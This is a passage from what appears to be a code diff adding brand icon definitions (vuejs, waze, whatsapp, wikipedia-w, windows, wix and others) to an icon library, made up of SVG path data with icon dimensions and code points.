21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z" ], + vuejs: [ 448, 512, [], "f41f", "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z" ], + "watchman-monitoring": [ 512, 512, [], "e087", "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z" ], + waze: [ 512, 512, [], "f83f", "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z" ], + weebly: [ 512, 512, [], "f5cc", "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z" ], + weibo: [ 512, 512, [], "f18a", "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z" ], + weixin: [ 576, 512, [], "f1d7", "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z" ], + whatsapp: [ 448, 512, [], "f232", "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z" ], + "whatsapp-square": [ 448, 512, [], "f40c", "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z" ], + whmcs: [ 448, 512, [], "f40d", "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z" ], + "wikipedia-w": [ 640, 512, [], "f266", "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z" ], + windows: [ 448, 512, [], "f17a", "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z" ], + wix: [ 640, 512, [], "f5cf", "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z" ], + "wizards-of-the-coast": [ 640, 512, [], "f730", "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z" ], + wodu: [ 640, 512, [], "e088", "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z" ], + "wolf-pack-battalion": [ 512, 512, [], "f514", "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 